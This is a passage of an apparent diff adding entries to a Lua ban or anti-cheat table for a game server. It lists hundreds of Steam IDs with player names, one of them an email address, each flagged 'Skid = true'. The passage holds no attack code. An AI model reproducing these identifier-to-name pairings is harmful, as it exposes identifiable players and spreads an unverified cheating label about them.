Skid = true}, + ["STEAM_0:0:39054245"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27508955"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18431221"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15575003"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19862494"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:16552330"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17466639"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16954089"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29071053"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39537032"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:11399170"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:34569791"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21480249"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42867562"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42015218"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39979684"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19913216"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31549495"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22783160"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42626752"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30786563"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43197919"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43221644"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:12381203"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33823059"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:37601395"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:40065987"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23063525"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:9661282"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:32803221"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:10418914"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:12543005"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:46676890"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42297594"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11481020"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:37729802"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:38654884"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31336428"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26110028"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18259561"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21853299"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39010277"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:44106339"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29438542"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27083822"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24822120"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19839009"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:41768174"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35572746"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17001295"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35634247"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:44780095"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21003752"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22948301"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15734699"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23748086"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43296195"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18797662"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:46476374"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39170916"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48358744"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35744408"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33763522"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43100738"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39187983"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:40146815"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31713955"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39198453"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19811962"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47298423"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24295355"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30610609"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26692186"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18767118"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15469276"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19876793"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43106086"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20651275"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:34803726"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:11732866"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29289676"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24259537"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11260953"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21836270"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14790879"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42029261"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31775427"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23503107"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42635680"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20220663"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27469941"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:41491991"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20789337"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:17652107"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20080193"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21961455"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42305682"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14188869"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:38792023"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23629652"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47363723"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39316687"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30051971"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:41918177"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:48400130"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19916550"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48559767"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29932662"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39907502"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38402336"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38402336"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:35696559"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19511453"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:17126696"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:28467572"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:45539800"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:37325264"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:14231015"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:48977888"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:35712887"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:50012443"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:36928215"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31854870"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24857790"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:37414157"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18884031"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17629619"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:474018"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:41937115"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42457887"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:28833027"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:1818548"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15921340"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15089546"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29020784"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19890604"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18299291"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47721540"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42108109"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11486490"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48337140"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43159831"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:49999393"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26956200"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26840720"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21143295"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:41958008"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:27409309"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:49516810"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38882796"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42076475"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23119647"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:36136567"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:27936486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:50068329"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:43688624"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:37835557"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25560081"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16970247"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47971528"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30697480"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15049152"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27209687"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:25160443"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33742671"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:6343290"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42393448"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:45036640"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:10843341"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:5267792"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:45119049"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:49701634"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27449825"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21350010"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42549410"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:50880566"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25779693"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25931266"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38704795"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:49437469"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:47460935"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:29999073"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:6093627"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33289876"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17654850"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39552919"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:33062942"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43651259"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:35799570"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:1647878"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25757548"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:45808419"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:16501484"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:50032155"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30498508"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:40107184"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:42416947"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19913622"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:48004946"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:33789477"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24470847"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23361066"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18913307"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21835225"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23921311"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:43708931"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:36820708"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18460701"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13419022"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39157486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:45008543"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20889809"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38972880"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:42998358"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23221448"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24640174"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23853816"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13196070"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:39272480"] = {Name = "Blackops", Skid = true}, + + ["STEAM_0:0:41435216"] = {Name = "yoududei", Skid = true}, + ["STEAM_0:0:8082599"] = {Name = "zotarn", Skid = true}, + ["STEAM_0:1:39014018"] = {Name = "dragon8301879", Skid = true}, + ["STEAM_0:0:14656565"] = {Name = "poophead33", Skid = true}, + ["STEAM_0:1:44793621"] = {Name = "cdynamic", Skid = true}, + ["STEAM_0:0:43296991"] = {Name = "johntheprod", Skid = true}, + ["STEAM_0:0:26213828"] = {Name = "akinunsal", Skid = true}, + ["STEAM_0:1:32681333"] = {Name = "airsoftglock", Skid = true}, + ["STEAM_0:0:28448162"] = {Name = "rub500", Skid = true}, + ["STEAM_0:1:83858"] = {Name = "bookaroo@yahoo.com", Skid = true}, + ["STEAM_0:0:22995648"] = {Name = "bloodox14", Skid = true}, + ["STEAM_0:1:6833940"] = {Name = "paul2005556", Skid = true}, + ["STEAM_0:1:40103003"] = {Name = "komanda09", Skid = true}, + ["STEAM_0:0:29086312"] = {Name = "bluema133", Skid = true}, + ["STEAM_0:0:33594983"] = {Name = "nbruunn", Skid = true}, + ["STEAM_0:0:38035862"] = {Name = "luther0672", Skid = true}, + ["STEAM_0:0:34620850"] = {Name = "edbaxley", Skid = true}, + ["STEAM_0:0:35626421"] = {Name = "zombiehuntar", Skid = true}, + ["STEAM_0:1:18914322"] = {Name = "_gus", Skid = true}, + ["STEAM_0:0:19962914"] = {Name = "czmate10", Skid = true}, + ["STEAM_0:0:20403076"] = {Name = "lotad53", Skid = true}, + ["STEAM_0:1:25429973"] = {Name = "Mr. Mind Reader", Skid = true}, + ["STEAM_0:1:30154357"] = {Name = "lolguy42", Skid = true}, + ["STEAM_0:1:38457440"] = {Name = "josh162743", Skid = true}, + ["STEAM_0:0:28659383"] = {Name = "powxpurplexx", Skid = true}, + ["STEAM_0:1:27308779"] = {Skid = true}, + ["STEAM_0:0:15479253"] = {Name = "schweinhund5000", Skid = true}, + ["STEAM_0:0:38484217"] = {Name = "foxsatus", Skid = true}, + ["STEAM_0:1:39052921"] = {Name = "mper1703", Skid = true}, + ["STEAM_0:0:39398900"] = {Name = "proangel123", Skid = true}, + ["STEAM_0:0:28107216"] = {Name = "reaxkuthefox", Skid = true}, + ["STEAM_0:0:51345479"] = {Name = "unkownalias", Skid = true}, + ["STEAM_0:1:34029133"] = {Name = "bigbelly63", Skid = true}, + ["STEAM_0:1:49934892"] = {Name = "oddfuturex", Skid = true}, + ["STEAM_0:1:33486687"] = {Skid = true}, + ["STEAM_0:1:37606227"] = {Skid = true}, + ["STEAM_0:1:2864206"] = {Name = "mikeis007", Skid = true}, + ["STEAM_0:0:49963094"] = {Name = "tyleralt3", Skid = true}, + ["STEAM_0:1:41847551"] = {Name = "eric12k", Skid = true}, + ["STEAM_0:0:18871291"] = {Name = "cursed_slayer", Skid = true}, + ["STEAM_0:1:27269461"] = {Name = "squidward595", Skid = true}, + ["STEAM_0:0:32234808"] = {Name = "p0wn4g3x", Skid = true}, + ["STEAM_0:0:39474926"] = {Name = "hypercraft3", Skid = true}, + ["STEAM_0:1:26654223"] = {Name = "joshjosh82", Skid = true}, + ["STEAM_0:1:16702015"] = {Name = "romanian82", Skid = true}, + ["STEAM_0:1:46527909"] = {Name = "strej70", Skid = true}, + ["STEAM_0:1:43163993"] = {Name = "lordjsmith", Skid = true}, + ["STEAM_0:1:37226524"] = {Name = "vincentmarteau", Skid = true}, + ["STEAM_0:0:39384844"] = {Name = "Zivchic:D", Skid = true}, + ["STEAM_0:0:40249834"] = {Name = "SRincarnate", Skid = true}, + ["STEAM_0:0:43352599"] = {Name = "Drycannon", Skid = true}, + ["STEAM_0:0:38418581"] = {Name = "GOT SWAGGER", Skid = true}, + ["STEAM_0:1:27501243"] = {Name = "eryk123621", Skid = true}, + ["STEAM_0:0:19762533"] = {Name = "CrazyNelis ?", Skid = true}, + ["STEAM_0:1:37620514"] = {Name = "LeadeR", Skid = true}, + ["STEAM_0:1:36017201"] = {Name = "(ZMTL)Night-Hawk", Skid = true}, + ["STEAM_0:1:40214489"] = {Name = "Mr_Gamer_Man", Skid = true}, + ["STEAM_0:1:13258271"] = {Name = "nobody", Skid = true}, + ["STEAM_0:0:37853442"] = {Name = "Thorgalak", Skid = true}, + ["STEAM_0:0:30709335"] = {Name = "Ollie ", Skid = true}, + ["STEAM_0:0:17777000"] = {Name = "Mayor", Skid = true}, + ["STEAM_0:0:32239856"] = {Name = "Scorteck", Skid = true}, + ["STEAM_0:1:18246102"] = {Name = "rynicks", Skid = true}, + ["STEAM_0:0:36705011"] = {Name = "[Gmod.biZ] zaCade ???", Skid = true}, + ["STEAM_0:0:29953696"] = {Name = "Electfried", Skid = true}, + ["STEAM_0:1:35073553"] = {Name = "-|Ace|-Shift", Skid = true}, + ["STEAM_0:0:41592262"] = {Name = "SoftDrink", Skid = true}, + ["STEAM_0:0:33149882"] = {Name = "Agent Double", Skid = true}, + ["STEAM_0:0:7370038"] = {Name = "Buhladee", Skid = true}, + ["STEAM_0:1:13349061"] = {Name = "BiG BiB", Skid = true}, + ["STEAM_0:0:31264953"] = {Name = "[zG] Waffle", Skid = true}, + ["STEAM_0:0:18816061"] = {Name = "SuperToxic", Skid = true}, + ["STEAM_0:1:20513516"] = {Name = "schematic", Skid = true}, + ["STEAM_0:0:26431054"] = {Name = "SourceMan FIN", Skid = true}, + ["STEAM_0:1:6041387"] = {Name = "Gaben?", Skid = true}, + ["STEAM_0:1:24101589"] = {Name = "Drocsid", Skid = true}, + ["STEAM_0:0:42038875"] = {Name = "Beastmasters", Skid = true}, + ["STEAM_0:0:14571019"] = {Name = "Mubzat", Skid = true}, + ["STEAM_0:0:22194969"] = {Name = "|à¹Ûۣ© à¹SPAÑkz⢠à¹Û", Skid = true}, + ["STEAM_0:0:29791283"] = {Name = "EliteGecko", Skid = true}, + ["STEAM_0:1:37692289"] = {Name = "?", Skid = true}, + ["STEAM_0:0:27510159"] = {Name = "|Prv....|?|Zman08|?|....Soa", Skid = true}, + ["STEAM_0:1:37808264"] = {Name = "Zack77", Skid = true}, + ["STEAM_0:1:36227887"] = {Name = "Weorge Gashington", Skid = true}, + ["STEAM_0:0:49417510"] = {Name = "angel.pavel777", Skid = true}, + ["STEAM_0:0:31688391"] = {Name = "gta41997", Skid = true}, + ["STEAM_0:1:25596116"] = {Name = "Lilchoto3 (knows Keith)", Skid = true}, + ["STEAM_0:1:18811312"] = {Name = "C0BRA", Skid = true}, + ["STEAM_0:1:40878769"] = {Name = "zozoman57812", Skid = true}, + ["STEAM_0:1:27314649"] = {Name = "Sykranos", Skid = true}, + ["STEAM_0:1:33565504"] = {Name = "reececlarke", Skid = true}, + ["STEAM_0:0:19561634"] = {Name = "GOOD LUCK, I HAVE 7 PROXIES", Skid = true}, + ["STEAM_0:0:10929947"] = {Name = "The color of grass", Skid = true}, + ["STEAM_0:0:40582843"] = {Name = "silver sea565", Skid = true}, + ["STEAM_0:1:26668437"] = {Name = "[C16-Dev] Garry", Skid = true}, + ["STEAM_0:0:22917225"] = {Name = "[g0t] Jogzi", Skid = true}, + ["STEAM_0:1:29012057"] = {Name = "WTTSRGFC.AdminWh?teTiger", Skid = true}, + ["STEAM_0:0:19340321"] = {Name = "@mp3swatgfan", Skid = true}, + ["STEAM_0:1:34928518"] = {Name = "LuaTee", Skid = true}, + ["STEAM_0:1:41701923"] = {Name = "torelly", Skid = true}, + ["STEAM_0:0:23458521"] = {Name = "XxHeDgEhOgZ13xX (SwE)", Skid = true}, + ["STEAM_0:1:27335885"] = {Name = "Dante", Skid = true}, + ["STEAM_0:0:32280962"] = {Name = "Fall0ut", Skid = true}, + ["STEAM_0:1:6796526"] = {Name = "Devul", Skid = true}, + ["STEAM_0:1:20493891"] = {Name = "OMG ZombiePenguin", Skid = true}, + ["STEAM_0:0:28108629"] = {Name = "SkyyScythe", Skid = true}, + ["STEAM_0:0:37895046"] = {Name = "[SFG] vickyputtock", Skid = true}, + ["STEAM_0:0:18932027"] = {Name = "|TSM| Garyroachfreeman", Skid = true}, + ["STEAM_0:1:28909943"] = {Name = "Cal", Skid = true}, + ["STEAM_0:0:19573447"] = {Name = "Orange???", Skid = true}, + ["STEAM_0:0:20248582"] = {Name = "Brucie Wayne", Skid = true}, + ["STEAM_0:1:8405354"] = {Name = "The Dance Commander", Skid = true}, + ["STEAM_0:1:29372458"] = {Name = "Dr.Drunk", Skid = true}, + ["STEAM_0:0:10230123"] = {Name = "THROW UP DA DUB", Skid = true}, + ["STEAM_0:1:6658496"] = {Name = "maddogselite1", Skid = true}, + ["STEAM_0:1:14585758"] = {Name = "ALL YOU CAN EAT", Skid = true}, + ["STEAM_0:1:38354992"] = {Name = "Elementss", Skid = true}, + ["STEAM_0:0:32976159"] = {Name = "KING EPPLESUES", Skid = true}, + ["STEAM_0:0:42920355"] = {Name = "max008man", Skid = true}, + ["STEAM_0:0:38575579"] = {Name = "Sam Andress", Skid = true}, + ["STEAM_0:0:11497220"] = {Name = "tyberius_jefferson", Skid = true}, + ["STEAM_0:0:14073219"] = {Name = "SkiftFox", Skid = true}, + ["STEAM_0:1:18792363"] = {Name = "[G-S-R]AG3NT. MAST3RS", Skid = true}, + ["STEAM_0:0:26932536"] = {Name = "GhostRider", Skid = true}, + ["STEAM_0:1:39801339"] = {Name = "Mondomonkey45", Skid = true}, + ["STEAM_0:1:34047700"] = {Name = "Rainbow", Skid = true}, + ["STEAM_0:1:34848015"] = {Name = "NuzzyFipples", Skid = true}, + ["STEAM_0:0:19589729"] = {Name = "bY StAn ThE mAN", Skid = true}, + ["STEAM_0:0:19700540"] = {Name = "Ohhurdead", Skid = true}, + ["STEAM_0:1:37486791"] = {Name = "<3 ?s??a ?edßull", Skid = true}, + ["STEAM_0:0:40917564"] = {Name = "stratt10", Skid = true}, + ["STEAM_0:1:20669973"] = {Name = "[Fx]markofchaos[MCaddict]", Skid = true}, + ["STEAM_0:1:37562604"] = {Name = "Wheatley :D", Skid = true}, + ["STEAM_0:0:33708185"] = {Name = "Zack", Skid = true}, + ["STEAM_0:0:27242622"] = {Name = "Reyvin", Skid = true}, + ["STEAM_0:1:17797805"] = {Name = "Mr.Stormbane", Skid = true}, + ["STEAM_0:0:18838483"] = {Name = "bensfriend4", Skid = true}, + ["STEAM_0:0:17302808"] = {Name = "c-unit", Skid = true}, + ["STEAM_0:1:38569833"] = {Name = "» J 0 G G ii ? G H 0 S S", Skid = true}, + ["STEAM_0:0:33216519"] = {Name = "ÐÅGOLD(CÃG)N?", Skid = true}, + ["STEAM_0:0:21102182"] = {Name = "(CXG) Dark techno", Skid = true}, + ["STEAM_0:0:6602098"] = {Name = "SPARTAN", Skid = true}, + ["STEAM_0:1:39000242"] = {Name = "State Trooper", Skid = true}, + ["STEAM_0:1:44511758"] = {Name = "dese", Skid = true}, + ["STEAM_0:1:32851381"] = {Name = "Zeitgesit_Killer", Skid = true}, + ["STEAM_0:0:18980599"] = {Name = "formatme #realitydubstep", Skid = true}, + ["STEAM_0:0:40089122"] = {Name = "BuNIONZZZ", Skid = true}, + ["STEAM_0:1:26454552"] = {Name = "^1xxXXAka2300XXxx [DK]", Skid = true}, + ["STEAM_0:1:30280857"] = {Name = "Barlalune !", Skid = true}, + ["STEAM_0:0:15521306"] = {Name = "Avoine", Skid = true}, + ["STEAM_0:1:35071243"] = {Name = "(ZMTL) xXFrozen SundaeXx", Skid = true}, + ["STEAM_0:1:21438596"] = {Name = "[WA]Cam©®", Skid = true}, + ["STEAM_0:0:31976173"] = {Name = "[IGS] Suicidal Apricot", Skid = true}, + ["STEAM_0:1:23737595"] = {Name = "^1Cpt.#^7Smurf ^4007 '' ^9[NL]", Skid = true}, + ["STEAM_0:0:25921343"] = {Name = "Skunk[SGFC]", Skid = true}, + ["STEAM_0:1:17286464"] = {Name = "Ruby", Skid = true}, + ["STEAM_0:1:40302547"] = {Name = "Prothree", Skid = true}, + ["STEAM_0:0:33213184"] = {Name = "bhop| kenny", Skid = true}, + ["STEAM_0:0:30146436"] = {Name = ".:=Builder=:. FreeMan", Skid = true}, + ["STEAM_0:1:34329883"] = {Name = "Vodka", Skid = true}, + ["STEAM_0:1:15710428"] = {Name = "JonBons", Skid = true}, + ["STEAM_0:0:27942974"] = {Skid = true}, + ["STEAM_0:0:6322992"] = {Name = "[NK]»c_Stocky«[SA]", Skid = true}, + ["STEAM_0:0:35810412"] = {Name = "Gmodpwnz", Skid = true}, + ["STEAM_0:0:21992109"] = {Name = "[Quite]AllTheseLimes*", Skid = true}, + ["STEAM_0:1:42657347"] = {Name = "TooCrazzzzy", Skid = true}, + ["STEAM_0:1:38677145"] = {Name = "Elskeleto", Skid = true}, + ["STEAM_0:0:34443669"] = {Name = "I Heard You Liek Mudkipzz", Skid = true}, + ["STEAM_0:0:40722804"] = {Name = "An Obese Turtle", Skid = true}, + ["STEAM_0:1:39642650"] = {Name = "[TA] andy", Skid = true}, + ["STEAM_0:0:20771300"] = {Name = "Meziel", Skid = true}, + ["STEAM_0:0:20474270"] = {Name = ">>W-YC<< []WaJe[] Lag.exe", Skid = true}, + ["STEAM_0:0:33905427"] = {Name = "^8|MC-^4K^01|^4'^7'^1'Yelda", Skid = true}, + ["STEAM_0:0:31641787"] = {Name = "Tested Faythe", Skid = true}, + ["STEAM_0:0:5628551"] = {Name = "???| BloodyHammer", Skid = true}, + ["STEAM_0:1:25266961"] = {Name = "Fisheater", Skid = true}, + ["STEAM_0:0:15726896"] = {Name = "| PoKi | Mr Props", Skid = true}, + ["STEAM_0:1:16350677"] = {Name = "OsCaRsHaRk", Skid = true}, + ["STEAM_0:1:34530784"] = {Name = "-[LCG]- Marvincmarvin", Skid = true}, + ["STEAM_0:1:18757876"] = {Name = "?i?? | RazoR", Skid = true}, + ["STEAM_0:0:41538056"] = {Name = "iMudkipz", Skid = true}, + ["STEAM_0:1:29327756"] = {Name = "XTracer", Skid = true}, + ["STEAM_0:1:32531347"] = {Name = "FuriousJack95", Skid = true}, + ["STEAM_0:1:30106483"] = {Name = "dr. Freeman", Skid = true}, + ["STEAM_0:1:19356463"] = {Name = "[GMG] The Odd Mu[n]chie", Skid = true}, + ["STEAM_0:1:29248522"] = {Name = "NO? | Penguin", Skid = true}, + ["STEAM_0:0:35384662"] = {Name = "Inhee", Skid = true}, + ["STEAM_0:1:17693550"] = {Name = "????", Skid = true}, + ["STEAM_0:1:19015759"] = {Name = "The Phoenix", Skid = true}, + ["STEAM_0:1:17013516"] = {Name = "Interknet", Skid = true}, + ["STEAM_0:0:42028155"] = {Name = 